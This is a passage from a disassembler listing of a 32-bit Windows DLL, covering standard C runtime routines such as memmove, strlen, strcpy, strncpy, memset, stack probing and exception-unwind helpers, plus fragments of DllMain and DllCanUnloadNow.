		jnz	short loc_69B220E1
		mov	eax, [esp+arg_0]
		mul	ecx
		retn	10h
; ---------------------------------------------------------------------------


loc_69B220E1:				; CODE XREF: sub_69B220C8+Ej
		push	ebx
		mul	ecx
		mov	ebx, eax
		mov	eax, [esp+4+arg_0]
		mul	[esp+4+arg_C]
		add	ebx, eax
		mov	eax, [esp+4+arg_0]
		mul	ecx
		add	edx, ebx
		pop	ebx
		retn	10h
sub_69B220C8	endp

; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_69B11CAE


loc_69B220FC:				; CODE XREF: sub_69B11CAE+21j
		xor	eax, eax
		jmp	loc_69B11CD7
; END OF FUNCTION CHUNK	FOR sub_69B11CAE

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_69B22103	proc near		; CODE XREF: sub_69B310BE+7Ap
					; sub_69B310BE+B8p ...

arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h

		push	ebp
		mov	ebp, esp
		push	edi
		push	esi
		mov	esi, [ebp+arg_4]
		mov	ecx, [ebp+arg_8]
		mov	edi, [ebp+arg_0]
		mov	eax, ecx
		mov	edx, ecx
		add	eax, esi
		cmp	edi, esi
		jbe	short loc_69B22123
		cmp	edi, eax
		jb	loc_69B22296


loc_69B22123:				; CODE XREF: sub_69B22103+16j
		test	edi, 3
		jnz	short loc_69B2213F
		shr	ecx, 2
		and	edx, 3
		cmp	ecx, 8
		jb	short loc_69B2215E
		rep movsd
		jmp	ds:off_69B2224C[edx*4]
; ---------------------------------------------------------------------------


loc_69B2213F:				; CODE XREF: sub_69B22103+26j
		mov	eax, edi
		mov	edx, 3
		sub	ecx, 4
		jb	short loc_69B22157
		and	eax, 3
		add	ecx, eax
		jmp	dword ptr ds:(loc_69B2215E+6)[eax*4]
; ---------------------------------------------------------------------------


loc_69B22157:				; CODE XREF: sub_69B22103+46j
		jmp	dword ptr ds:loc_69B2225C[ecx*4]
; ---------------------------------------------------------------------------


loc_69B2215E:				; CODE XREF: sub_69B22103+31j
					; sub_69B22103+8Fj ...
		jmp	ds:off_69B221E0[ecx*4]
; ---------------------------------------------------------------------------
		align 4
		dd offset loc_69B22174
		dd offset loc_69B2219D
		dd offset loc_69B221C0
; ---------------------------------------------------------------------------


loc_69B22174:				; DATA XREF: sub_69B22103+65o
		and	edx, ecx
		mov	al, [esi]
		mov	[edi], al
		mov	al, [esi+1]
		mov	[edi+1], al
		mov	al, [esi+2]
		shr	ecx, 2
		mov	[edi+2], al
		add	esi, 3
		add	edi, 3
		cmp	ecx, 8
		jb	short loc_69B2215E
		rep movsd
		jmp	ds:off_69B2224C[edx*4]
; ---------------------------------------------------------------------------


loc_69B2219D:				; DATA XREF: sub_69B22103+69o
		and	edx, ecx
		mov	al, [esi]
		mov	[edi], al
		mov	al, [esi+1]
		shr	ecx, 2
		mov	[edi+1], al
		add	esi, 2
		add	edi, 2
		cmp	ecx, 8
		jb	short loc_69B2215E
		rep movsd
		jmp	ds:off_69B2224C[edx*4]
; ---------------------------------------------------------------------------


loc_69B221C0:				; DATA XREF: sub_69B22103+6Do
		and	edx, ecx
		mov	al, [esi]
		mov	[edi], al
		add	esi, 1
		shr	ecx, 2
		add	edi, 1
		cmp	ecx, 8
		jb	short loc_69B2215E
		rep movsd
		jmp	ds:off_69B2224C[edx*4]
; ---------------------------------------------------------------------------
		align 10h
off_69B221E0	dd offset loc_69B22243	; DATA XREF: sub_69B22103:loc_69B2215Er
		dd offset loc_69B22230
		dd offset loc_69B22228
		dd offset loc_69B22220
		dd offset loc_69B22218
		dd offset loc_69B22210
		dd offset loc_69B22208
		dd offset loc_69B22200
; ---------------------------------------------------------------------------


loc_69B22200:				; CODE XREF: sub_69B22103:loc_69B2215Ej
					; DATA XREF: sub_69B22103+F9o
		mov	eax, [esi+ecx*4-1Ch]
		mov	[edi+ecx*4-1Ch], eax


loc_69B22208:				; CODE XREF: sub_69B22103:loc_69B2215Ej
					; DATA XREF: sub_69B22103+F5o
		mov	eax, [esi+ecx*4-18h]
		mov	[edi+ecx*4-18h], eax


loc_69B22210:				; CODE XREF: sub_69B22103:loc_69B2215Ej
					; DATA XREF: sub_69B22103+F1o
		mov	eax, [esi+ecx*4-14h]
		mov	[edi+ecx*4-14h], eax


loc_69B22218:				; CODE XREF: sub_69B22103:loc_69B2215Ej
					; DATA XREF: sub_69B22103+EDo
		mov	eax, [esi+ecx*4-10h]
		mov	[edi+ecx*4-10h], eax


loc_69B22220:				; CODE XREF: sub_69B22103:loc_69B2215Ej
					; DATA XREF: sub_69B22103+E9o
		mov	eax, [esi+ecx*4-0Ch]
		mov	[edi+ecx*4-0Ch], eax


loc_69B22228:				; CODE XREF: sub_69B22103:loc_69B2215Ej
					; DATA XREF: sub_69B22103+E5o
		mov	eax, [esi+ecx*4-8]
		mov	[edi+ecx*4-8], eax


loc_69B22230:				; CODE XREF: sub_69B22103:loc_69B2215Ej
					; DATA XREF: sub_69B22103+E1o
		mov	eax, [esi+ecx*4-4]
		mov	[edi+ecx*4-4], eax
		lea	eax, ds:0[ecx*4]
		add	esi, eax
		add	edi, eax


loc_69B22243:				; CODE XREF: sub_69B22103:loc_69B2215Ej
					; DATA XREF: sub_69B22103:off_69B221E0o
		jmp	ds:off_69B2224C[edx*4]
; ---------------------------------------------------------------------------
		align 4
off_69B2224C	dd offset loc_69B2225C	; DATA XREF: sub_69B22103+35r
					; sub_69B22103+93r ...
		dd offset loc_69B22263
		dd offset loc_69B2226E
		dd offset loc_69B2227F
; ---------------------------------------------------------------------------


loc_69B2225C:				; CODE XREF: sub_69B22103+35j
					; sub_69B22103+93j ...
		mov	eax, [ebp+arg_0]
		pop	esi
		pop	edi
		leave
		retn
; ---------------------------------------------------------------------------


loc_69B22263:				; CODE XREF: sub_69B22103+35j
					; sub_69B22103+93j ...
		mov	al, [esi]
		mov	[edi], al
		mov	eax, [ebp+arg_0]
		pop	esi
		pop	edi
		leave
		retn
; ---------------------------------------------------------------------------


loc_69B2226E:				; CODE XREF: sub_69B22103+35j
					; sub_69B22103+93j ...
		mov	al, [esi]
		mov	[edi], al
		mov	al, [esi+1]
		mov	[edi+1], al
		mov	eax, [ebp+arg_0]
		pop	esi
		pop	edi
		leave
		retn
; ---------------------------------------------------------------------------


loc_69B2227F:				; CODE XREF: sub_69B22103+35j
					; sub_69B22103+93j ...
		mov	al, [esi]
		mov	[edi], al
		mov	al, [esi+1]
		mov	[edi+1], al
		mov	al, [esi+2]
		mov	[edi+2], al
		mov	eax, [ebp+arg_0]
		pop	esi
		pop	edi
		leave
		retn
; ---------------------------------------------------------------------------


loc_69B22296:				; CODE XREF: sub_69B22103+1Aj
		lea	esi, [ecx+esi-4]
		lea	edi, [ecx+edi-4]
		test	edi, 3
		jnz	short loc_69B222C5
		shr	ecx, 2
		and	edx, 3
		cmp	ecx, 8
		jb	short loc_69B222BC
		std
		rep movsd
		cld
		jmp	ds:off_69B223E0[edx*4]
; ---------------------------------------------------------------------------


loc_69B222BC:				; CODE XREF: sub_69B22103+1ACj
					; sub_69B22103+205j ...
		neg	ecx
		jmp	ds:off_69B2238C[ecx*4]
; ---------------------------------------------------------------------------


loc_69B222C5:				; CODE XREF: sub_69B22103+1A1j
		mov	eax, edi
		mov	edx, 3
		cmp	ecx, 4
		jb	short loc_69B222DD
		and	eax, 3
		sub	ecx, eax
		jmp	ds:dword_69B222E4[eax*4]
; ---------------------------------------------------------------------------


loc_69B222DD:				; CODE XREF: sub_69B22103+1CCj
		jmp	ds:off_69B223E0[ecx*4]
; ---------------------------------------------------------------------------
dword_69B222E4	dd 90909090h			dd offset loc_69B222F4
		dd offset loc_69B22315
		dd offset loc_69B2233C
; ---------------------------------------------------------------------------


loc_69B222F4:				; DATA XREF: sub_69B22103+1E5o
		mov	al, [esi+3]
		and	edx, ecx
		mov	[edi+3], al
		sub	esi, 1
		shr	ecx, 2
		sub	edi, 1
		cmp	ecx, 8
		jb	short loc_69B222BC
		std
		rep movsd
		cld
		jmp	ds:off_69B223E0[edx*4]
; ---------------------------------------------------------------------------


loc_69B22315:				; DATA XREF: sub_69B22103+1E9o
		mov	al, [esi+3]
		and	edx, ecx
		mov	[edi+3], al
		mov	al, [esi+2]
		shr	ecx, 2
		mov	[edi+2], al
		sub	esi, 2
		sub	edi, 2
		cmp	ecx, 8
		jb	short loc_69B222BC
		std
		rep movsd
		cld
		jmp	ds:off_69B223E0[edx*4]
; ---------------------------------------------------------------------------


loc_69B2233C:				; DATA XREF: sub_69B22103+1EDo
		mov	al, [esi+3]
		and	edx, ecx
		mov	[edi+3], al
		mov	al, [esi+2]
		mov	[edi+2], al
		mov	al, [esi+1]
		shr	ecx, 2
		mov	[edi+1], al
		sub	esi, 3
		sub	edi, 3
		cmp	ecx, 8
		jb	loc_69B222BC
		std
		rep movsd
		cld
		jmp	ds:off_69B223E0[edx*4]
; ---------------------------------------------------------------------------
		db 3 dup(90h)
		dd offset loc_69B22390
		dd offset loc_69B22398
		dd offset loc_69B223A0
		dd offset loc_69B223A8
		dd offset loc_69B223B0
		dd offset loc_69B223B8
		dd offset loc_69B223C0
off_69B2238C	dd offset loc_69B223D3	; DATA XREF: sub_69B22103+1BBr
; ---------------------------------------------------------------------------


loc_69B22390:				; DATA XREF: sub_69B22103+26Do
		mov	eax, [esi+ecx*4+1Ch]
		mov	[edi+ecx*4+1Ch], eax


loc_69B22398:				; DATA XREF: sub_69B22103+271o
		mov	eax, [esi+ecx*4+18h]
		mov	[edi+ecx*4+18h], eax


loc_69B223A0:				; DATA XREF: sub_69B22103+275o
		mov	eax, [esi+ecx*4+14h]
		mov	[edi+ecx*4+14h], eax


loc_69B223A8:				; DATA XREF: sub_69B22103+279o
		mov	eax, [esi+ecx*4+10h]
		mov	[edi+ecx*4+10h], eax


loc_69B223B0:				; DATA XREF: sub_69B22103+27Do
		mov	eax, [esi+ecx*4+0Ch]
		mov	[edi+ecx*4+0Ch], eax


loc_69B223B8:				; DATA XREF: sub_69B22103+281o
		mov	eax, [esi+ecx*4+8]
		mov	[edi+ecx*4+8], eax


loc_69B223C0:				; DATA XREF: sub_69B22103+285o
		mov	eax, [esi+ecx*4+4]
		mov	[edi+ecx*4+4], eax
		lea	eax, ds:0[ecx*4]
		add	esi, eax
		add	edi, eax


loc_69B223D3:				; CODE XREF: sub_69B22103+1BBj
					; DATA XREF: sub_69B22103:off_69B2238Co
		jmp	ds:off_69B223E0[edx*4]
; ---------------------------------------------------------------------------
		align 10h
off_69B223E0	dd offset loc_69B223F0	; DATA XREF: sub_69B22103+1B2r
					; sub_69B22103:loc_69B222DDr ...
		dd offset loc_69B223F7
		dd offset loc_69B22404
		dd offset loc_69B22417
; ---------------------------------------------------------------------------


loc_69B223F0:				; CODE XREF: sub_69B22103+1B2j
					; sub_69B22103:loc_69B222DDj ...
		mov	eax, [ebp+arg_0]
		pop	esi
		pop	edi
		leave
		retn
; ---------------------------------------------------------------------------


loc_69B223F7:				; CODE XREF: sub_69B22103+1B2j
					; sub_69B22103:loc_69B222DDj ...
		mov	al, [esi+3]
		mov	[edi+3], al
		mov	eax, [ebp+arg_0]
		pop	esi
		pop	edi
		leave
		retn
; ---------------------------------------------------------------------------


loc_69B22404:				; CODE XREF: sub_69B22103+1B2j
					; sub_69B22103:loc_69B222DDj ...
		mov	al, [esi+3]
		mov	[edi+3], al
		mov	al, [esi+2]
		mov	[edi+2], al
		mov	eax, [ebp+arg_0]
		pop	esi
		pop	edi
		leave
		retn
; ---------------------------------------------------------------------------


loc_69B22417:				; CODE XREF: sub_69B22103+1B2j
					; sub_69B22103:loc_69B222DDj ...
		mov	al, [esi+3]
		mov	[edi+3], al
		mov	al, [esi+2]
		mov	[edi+2], al
		mov	al, [esi+1]
		mov	[edi+1], al
		mov	eax, [ebp+arg_0]
		pop	esi
		pop	edi
		leave
		retn
sub_69B22103	endp

; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_69B1A82C


loc_69B22430:				; CODE XREF: sub_69B1A82C+2Bj
		fstp	[esp+20h+var_20]
		mov	ecx, [esp+20h+var_20]
		xor	ecx, 80000000h
		add	ecx, 7FFFFFFFh
		adc	eax, 0
		mov	edx, dword ptr [esp+20h+var_10+4]
		adc	edx, 0
		jmp	locret_69B1A873
; ---------------------------------------------------------------------------


loc_69B22451:				; CODE XREF: sub_69B1A82C+21j
		mov	edx, dword ptr [esp+20h+var_10+4]
		test	edx, 7FFFFFFFh
		jnz	loc_69B1A853
		fstp	[esp+20h+var_8]
		fstp	[esp+20h+var_8]
		jmp	locret_69B1A873
; END OF FUNCTION CHUNK	FOR sub_69B1A82C
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_69B1B09C


loc_69B2246E:				; CODE XREF: sub_69B1B09C+5j
		push	ecx
		lea	ecx, [esp+4+arg_0]


loc_69B22473:				; CODE XREF: sub_69B1B09C+73E9j
		sub	ecx, 1000h
		sub	eax, 1000h
		test	[ecx], eax
		cmp	eax, 1000h
		jnb	short loc_69B22473
		sub	ecx, eax
		mov	eax, esp
		test	[ecx], eax
		mov	esp, ecx
		mov	ecx, [eax]
		mov	eax, [eax+4]
		push	eax
		retn
; END OF FUNCTION CHUNK	FOR sub_69B1B09C

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_69B22496	proc near		; DATA XREF: sub_69B19C5Co
					; sub_69B8903E+Ao ...

var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h

		push	ebp
		mov	ebp, esp
		sub	esp, 8
		push	ebx
		push	esi
		push	edi
		push	ebp
		cld
		mov	ebx, [ebp+arg_4]
		mov	eax, [ebp+arg_0]
		test	dword ptr [eax+4], 6
		jnz	loc_69B2255F
		mov	[ebp+var_8], eax
		mov	eax, [ebp+arg_8]
		mov	[ebp+var_4], eax
		lea	eax, [ebp+var_8]
		mov	[ebx-4], eax
		mov	esi, [ebx+0Ch]
		mov	edi, [ebx+8]
		push	ebx
		call	sub_69B8562A
		add	esp, 4
		or	eax, eax
		jz	short loc_69B22551


loc_69B224D6:				; CODE XREF: sub_69B22496+B2j
		cmp	esi, 0FFFFFFFFh
		jz	short loc_69B22558
		lea	ecx, [esi+esi*2]
		mov	eax, [edi+ecx*4+4]
		or	eax, eax
		jz	short loc_69B2253F
		push	esi
		push	ebp
		lea	ebp, [ebx+10h]
		xor	ebx, ebx
		xor	ecx, ecx
		xor	edx, edx
		xor	esi, esi
		xor	edi, edi
		call	eax
		pop	ebp
		pop	esi
		mov	ebx, [ebp+arg_4]
		or	eax, eax
		jz	short loc_69B2253F
		js	short loc_69B2254A
		mov	edi, [ebx+8]
		push	ebx
		call	sub_69B2257C
		add	esp, 4
		lea	ebp, [ebx+10h]
		push	esi
		push	ebx
		call	sub_69B225BE
		add	esp, 8
		lea	ecx, [esi+esi*2]
		push	1
		mov	eax, [edi+ecx*4+8]
		call	sub_69B22626
		mov	eax, [edi+ecx*4]
		mov	[ebx+0Ch], eax
		mov	eax, [edi+ecx*4+8]
		xor	ebx, ebx
		xor	ecx, ecx
		xor	edx, edx
		xor	esi, esi
		xor	edi, edi
		call	eax


loc_69B2253F:				; CODE XREF: sub_69B22496+4Ej
					; sub_69B22496+68j
		mov	edi, [ebx+8]
		lea	ecx, [esi+esi*2]
		mov	esi, [edi+ecx*4]
		jmp	short loc_69B224D6
; ---------------------------------------------------------------------------


loc_69B2254A:				; CODE XREF: sub_69B22496+6Aj
		mov	eax, 0
		jmp	short loc_69B22574
; ---------------------------------------------------------------------------


loc_69B22551:				; CODE XREF: sub_69B22496+3Ej
		mov	eax, [ebp+arg_0]
		or	dword ptr [eax+4], 8


loc_69B22558:				; CODE XREF: sub_69B22496+43j
		mov	eax, 1
		jmp	short loc_69B22574
; ---------------------------------------------------------------------------


loc_69B2255F:				; CODE XREF: sub_69B22496+18j
		push	ebp
		lea	ebp, [ebx+10h]
		push	0FFFFFFFFh
		push	ebx
		call	sub_69B225BE
		add	esp, 8
		pop	ebp
		mov	eax, 1


loc_69B22574:				; CODE XREF: sub_69B22496+B9j
					; sub_69B22496+C7j
		pop	ebp
		pop	edi
		pop	esi
		pop	ebx
		mov	esp, ebp
		pop	ebp
		retn
sub_69B22496	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_69B2257C	proc near		; CODE XREF: sub_69B22496+70p

arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		push	ebx
		push	esi
		push	edi
		push	ebp
		push	0
		push	0
		push	offset loc_69B22594
		push	[ebp+arg_0]
		call	RtlUnwind	; RtlUnwind


loc_69B22594:				; DATA XREF: sub_69B2257C+Bo
		pop	ebp
		pop	edi
		pop	esi
		pop	ebx
		mov	esp, ebp
		pop	ebp
		retn
sub_69B2257C	endp


; =============== S U B	R O U T	I N E =======================================



sub_69B2259C	proc near		; DATA XREF: sub_69B225BE+Ao

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8
arg_C		= dword	ptr  10h

		mov	ecx, [esp+arg_0]
		test	dword ptr [ecx+4], 6
		mov	eax, 1
		jz	short locret_69B225BD
		mov	eax, [esp+arg_4]
		mov	edx, [esp+arg_C]
		mov	[edx], eax
		mov	eax, 3

locret_69B225BD:			; CODE XREF: sub_69B2259C+10j
		retn
sub_69B2259C	endp


; =============== S U B	R O U T	I N E =======================================



sub_69B225BE	proc near		; CODE XREF: sub_69B22496+7Dp
					; sub_69B22496+D0p

var_14		= dword	ptr -14h
arg_0		= dword	ptr  4
arg_4		= dword	ptr  8

		push	ebx
		push	esi
		push	edi
		mov	eax, [esp+0Ch+arg_0]
		push	eax
		push	0FFFFFFFEh
		push	offset sub_69B2259C
		push	large dword ptr	fs:0
		mov	large fs:0, esp


loc_69B225DB:				; CODE XREF: sub_69B225BE+44j
					; sub_69B225BE+58j
		mov	eax, [esp+1Ch+arg_0]
		mov	ebx, [eax+8]
		mov	esi, [eax+0Ch]
		cmp	esi, 0FFFFFFFFh
		jz	short loc_69B22618
		cmp	esi, [esp+1Ch+arg_4]
		jz	short loc_69B22618
		lea	esi, [esi+esi*2]
		mov	ecx, [ebx+esi*4]
		mov	[esp+1Ch+var_14], ecx
		mov	[eax+0Ch], ecx
		cmp	dword ptr [ebx+esi*4+4], 0
		jnz	short loc_69B225DB
		push	101h
		mov	eax, [ebx+esi*4+8]
		call	sub_69B22626
		call	dword ptr [ebx+esi*4+8]
		jmp	short loc_69B225DB
; ---------------------------------------------------------------------------


loc_69B22618:				; CODE XREF: sub_69B225BE+2Aj
					; sub_69B225BE+30j
		pop	large dword ptr	fs:0
		add	esp, 0Ch
		pop	edi
		pop	esi
		pop	ebx
		retn
sub_69B225BE	endp


; =============== S U B	R O U T	I N E =======================================



sub_69B22626	proc near		; CODE XREF: sub_69B22496+8Ep
					; sub_69B225BE+4Fp
		push	ebx
		push	ecx
		mov	ebx, offset dword_69B9AAC8
		mov	ecx, [ebp+8]
		mov	[ebx+8], ecx
		mov	[ebx+4], eax
		mov	[ebx+0Ch], ebp
		pop	ecx
		pop	ebx
		retn	4
sub_69B22626	endp


; =============== S U B	R O U T	I N E =======================================



sub_69B2263E	proc near		; CODE XREF: sub_69B84F8F+C9p

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8
arg_8		= dword	ptr  0Ch

		mov	ecx, [esp+arg_8]
		push	edi
		test	ecx, ecx
		jz	loc_69B226DD
		push	esi
		push	ebx
		mov	ebx, ecx
		mov	esi, [esp+0Ch+arg_4]
		test	esi, 3
		mov	edi, [esp+0Ch+arg_0]
		jnz	short loc_69B2266A
		shr	ecx, 2
		jnz	loc_69B226ED
		jmp	short loc_69B22691
; ---------------------------------------------------------------------------


loc_69B2266A:				; CODE XREF: sub_69B2263E+1Fj
					; sub_69B2263E+45j
		mov	al, [esi]
		add	esi, 1
		mov	[edi], al
		add	edi, 1
		sub	ecx, 1
		jz	short loc_69B226A4
		test	al, al
		jz	short loc_69B226AC
		test	esi, 3
		jnz	short loc_69B2266A
		mov	ebx, ecx
		shr	ecx, 2
		jnz	short loc_69B226ED


loc_69B2268C:				; CODE XREF: sub_69B2263E+ADj
		and	ebx, 3
		jz	short loc_69B226A4


loc_69B22691:				; CODE XREF: sub_69B2263E+2Aj
					; sub_69B2263E+64j
		mov	al, [esi]
		add	esi, 1
		mov	[edi], al
		add	edi, 1
		test	al, al
		jz	short loc_69B226D6
		sub	ebx, 1
		jnz	short loc_69B22691


loc_69B226A4:				; CODE XREF: sub_69B2263E+39j
					; sub_69B2263E+51j
		mov	eax, [esp+0Ch+arg_0]
		pop	ebx
		pop	esi
		pop	edi
		retn
; ---------------------------------------------------------------------------


loc_69B226AC:				; CODE XREF: sub_69B2263E+3Dj
		test	edi, 3
		jz	short loc_69B226CA


loc_69B226B4:				; CODE XREF: sub_69B2263E+8Aj
		mov	[edi], al
		add	edi, 1
		sub	ecx, 1
		jz	loc_69B2275A
		test	edi, 3
		jnz	short loc_69B226B4


loc_69B226CA:				; CODE XREF: sub_69B2263E+74j
		mov	ebx, ecx
		shr	ecx, 2
		jnz	short loc_69B22745


loc_69B226D1:				; CODE XREF: sub_69B2263E+9Bj
					; sub_69B2263E+116j
		mov	[edi], al
		add	edi, 1


loc_69B226D6:				; CODE XREF: sub_69B2263E+5Fj
		sub	ebx, 1
		jnz	short loc_69B226D1
		pop	ebx
		pop	esi


loc_69B226DD:				; CODE XREF: sub_69B2263E+7j
		mov	eax, [esp+4+arg_0]
		pop	edi
		retn
; ---------------------------------------------------------------------------


loc_69B226E3:				; CODE XREF: sub_69B2263E+C7j
					; sub_69B2263E+DFj
		mov	[edi], edx
		add	edi, 4
		sub	ecx, 1
		jz	short loc_69B2268C


loc_69B226ED:				; CODE XREF: sub_69B2263E+24j
					; sub_69B2263E+4Cj
		mov	edx, 7EFEFEFFh
		mov	eax, [esi]
		add	edx, eax
		xor	eax, 0FFFFFFFFh
		xor	eax, edx
		mov	edx, [esi]
		add	esi, 4
		test	eax, 81010100h
		jz	short loc_69B226E3
		test	dl, dl
		jz	short loc_69B22737
		test	dh, dh
		jz	short loc_69B2272D
		test	edx, 0FF0000h
		jz	short loc_69B22723
		test	edx, 0FF000000h
		jnz	short loc_69B226E3
		mov	[edi], edx
		jmp	short loc_69B2273B
; ---------------------------------------------------------------------------


loc_69B22723:				; CODE XREF: sub_69B2263E+D7j
		and	edx, 0FFFFh
		mov	[edi], edx
		jmp	short loc_69B2273B
; ---------------------------------------------------------------------------


loc_69B2272D:				; CODE XREF: sub_69B2263E+CFj
		and	edx, 0FFh
		mov	[edi], edx
		jmp	short loc_69B2273B
; ---------------------------------------------------------------------------


loc_69B22737:				; CODE XREF: sub_69B2263E+CBj
		xor	edx, edx
		mov	[edi], edx


loc_69B2273B:				; CODE XREF: sub_69B2263E+E3j
					; sub_69B2263E+EDj ...
		add	edi, 4
		xor	eax, eax
		sub	ecx, 1
		jz	short loc_69B22751


loc_69B22745:				; CODE XREF: sub_69B2263E+91j
		xor	eax, eax


loc_69B22747:				; CODE XREF: sub_69B2263E+111j
		mov	[edi], eax
		add	edi, 4
		sub	ecx, 1
		jnz	short loc_69B22747


loc_69B22751:				; CODE XREF: sub_69B2263E+105j
		and	ebx, 3
		jnz	loc_69B226D1


loc_69B2275A:				; CODE XREF: sub_69B2263E+7Ej
		mov	eax, [esp+0Ch+arg_0]
		pop	ebx
		pop	esi
		pop	edi
		retn
sub_69B2263E	endp


; =============== S U B	R O U T	I N E =======================================



sub_69B22762	proc near		; CODE XREF: sub_69B852D7+8p

arg_0		= dword	ptr  4

		mov	ecx, [esp+arg_0]
		test	ecx, 3
		jz	short loc_69B22788


loc_69B2276E:				; CODE XREF: sub_69B22762+1Bj
		mov	al, [ecx]
		add	ecx, 1
		test	al, al
		jz	short loc_69B227B9
		test	ecx, 3
		jnz	short loc_69B2276E
		add	eax, 0
		lea	esp, [esp]
		lea	esp, [esp]


loc_69B22788:				; CODE XREF: sub_69B22762+Aj
					; sub_69B22762+3Cj ...
		mov	eax, [ecx]
		mov	edx, 7EFEFEFFh
		add	edx, eax
		xor	eax, 0FFFFFFFFh
		xor	eax, edx
		add	ecx, 4
		test	eax, 81010100h
		jz	short loc_69B22788
		mov	eax, [ecx-4]
		test	al, al
		jz	short loc_69B227D7
		test	ah, ah
		jz	short loc_69B227CD
		test	eax, 0FF0000h
		jz	short loc_69B227C3
		test	eax, 0FF000000h
		jnz	short loc_69B22788


loc_69B227B9:				; CODE XREF: sub_69B22762+13j
		lea	eax, [ecx-1]
		mov	ecx, [esp+arg_0]
		sub	eax, ecx
		retn
; ---------------------------------------------------------------------------


loc_69B227C3:				; CODE XREF: sub_69B22762+4Ej
		lea	eax, [ecx-2]
		mov	ecx, [esp+arg_0]
		sub	eax, ecx
		retn
; ---------------------------------------------------------------------------


loc_69B227CD:				; CODE XREF: sub_69B22762+47j
		lea	eax, [ecx-3]
		mov	ecx, [esp+arg_0]
		sub	eax, ecx
		retn
; ---------------------------------------------------------------------------


loc_69B227D7:				; CODE XREF: sub_69B22762+43j
		lea	eax, [ecx-4]
		mov	ecx, [esp+arg_0]
		sub	eax, ecx
		retn
sub_69B22762	endp


; =============== S U B	R O U T	I N E =======================================



sub_69B227E1	proc near		; CODE XREF: sub_69B852F4+60p
					; sub_69B86AFA+4Bp ...

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8

		push	edi
		mov	edi, [esp+4+arg_0]
		mov	ecx, [esp+4+arg_4]
		test	ecx, 3
		jz	short loc_69B2280F


loc_69B227F2:				; CODE XREF: sub_69B227E1+25j
		mov	dl, [ecx]
		add	ecx, 1
		test	dl, dl
		jz	short loc_69B2285F
		mov	[edi], dl
		add	edi, 1
		test	ecx, 3
		jnz	short loc_69B227F2
		jmp	short loc_69B2280F
; ---------------------------------------------------------------------------


loc_69B2280A:				; CODE XREF: sub_69B227E1+46j
					; sub_69B227E1+5Ej
		mov	[edi], edx
		add	edi, 4


loc_69B2280F:				; CODE XREF: sub_69B227E1+Fj
					; sub_69B227E1+27j
		mov	edx, 7EFEFEFFh
		mov	eax, [ecx]
		add	edx, eax
		xor	eax, 0FFFFFFFFh
		xor	eax, edx
		mov	edx, [ecx]
		add	ecx, 4
		test	eax, 81010100h
		jz	short loc_69B2280A
		test	dl, dl
		jz	short loc_69B2285F
		test	dh, dh
		jz	short loc_69B22856
		test	edx, 0FF0000h
		jz	short loc_69B22849
		test	edx, 0FF000000h
		jnz	short loc_69B2280A
		mov	[edi], edx
		mov	eax, [esp+4+arg_0]
		pop	edi
		retn
; ---------------------------------------------------------------------------


loc_69B22849:				; CODE XREF: sub_69B227E1+56j
		mov	[edi], dx
		mov	eax, [esp+4+arg_0]
		mov	byte ptr [edi+2], 0
		pop	edi
		retn
; ---------------------------------------------------------------------------


loc_69B22856:				; CODE XREF: sub_69B227E1+4Ej
		mov	[edi], dx
		mov	eax, [esp+4+arg_0]
		pop	edi
		retn
; ---------------------------------------------------------------------------


loc_69B2285F:				; CODE XREF: sub_69B227E1+18j
					; sub_69B227E1+4Aj
		mov	[edi], dl
		mov	eax, [esp+4+arg_0]
		pop	edi
		retn
sub_69B227E1	endp


; =============== S U B	R O U T	I N E =======================================



sub_69B22867	proc near		; CODE XREF: sub_69B85406+8Cp

arg_0		= dword	ptr  4
arg_4		= byte ptr  8
arg_8		= dword	ptr  0Ch

		mov	edx, [esp+arg_8]
		mov	ecx, [esp+arg_0]
		test	edx, edx
		jz	short loc_69B228C2
		xor	eax, eax
		mov	al, [esp+arg_4]
		push	edi
		mov	edi, ecx
		cmp	edx, 4
		jb	short loc_69B228B2
		neg	ecx
		and	ecx, 3
		jz	short loc_69B22894
		sub	edx, ecx


loc_69B2288A:				; CODE XREF: sub_69B22867+2Bj
		mov	[edi], al
		add	edi, 1
		sub	ecx, 1
		jnz	short loc_69B2288A


loc_69B22894:				; CODE XREF: sub_69B22867+1Fj
		mov	ecx, eax
		shl	eax, 8
		add	eax, ecx
		mov	ecx, eax
		shl	eax, 10h
		add	eax, ecx
		mov	ecx, edx
		and	edx, 3
		shr	ecx, 2
		jz	short loc_69B228B2
		rep stosd
		test	edx, edx
		jz	short loc_69B228BC


loc_69B228B2:				; CODE XREF: sub_69B22867+18j
					; sub_69B22867+43j ...
		mov	[edi], al
		add	edi, 1
		sub	edx, 1
		jnz	short loc_69B228B2


loc_69B228BC:				; CODE XREF: sub_69B22867+49j
		mov	eax, [esp+4+arg_0]
		pop	edi
		retn
; ---------------------------------------------------------------------------


loc_69B228C2:				; CODE XREF: sub_69B22867+Aj
		mov	eax, [esp+arg_0]
		retn
sub_69B22867	endp

; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR DllMain


loc_69B228C7:				; CODE XREF: DllMain+Bj
		cmp	eax, 2
		jz	loc_69B1BB3C
		cmp	eax, 3
		jnz	loc_69B1BB3C
		call	sub_69B2D5A5
		jmp	loc_69B1BB3C
; END OF FUNCTION CHUNK	FOR DllMain
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR DllCanUnloadNow


loc_69B228E3:				; CODE XREF: DllCanUnloadNow+7j
		xor	eax, eax
		retn
; ---------------------------------------------------------------------------


loc_69B228E6:				; CODE XREF: DllCanUnloadNow+18j
		mov	eax, 80004005h
		pop	esi
		retn
; ---------------------------------------------------------------------------


loc_69B228ED:				; CODE XREF: DllCanUnloadNow+3Cj
		mov	eax, dword_69B9295C
		jmp	short loc_69B22901
; ---------------------------------------------------------------------------


loc_69B228F4:				; CODE XREF: DllCanUnloadNow+472Cj
		cmp	dword ptr [eax+30h], 0
		jnz	loc_69B1E219
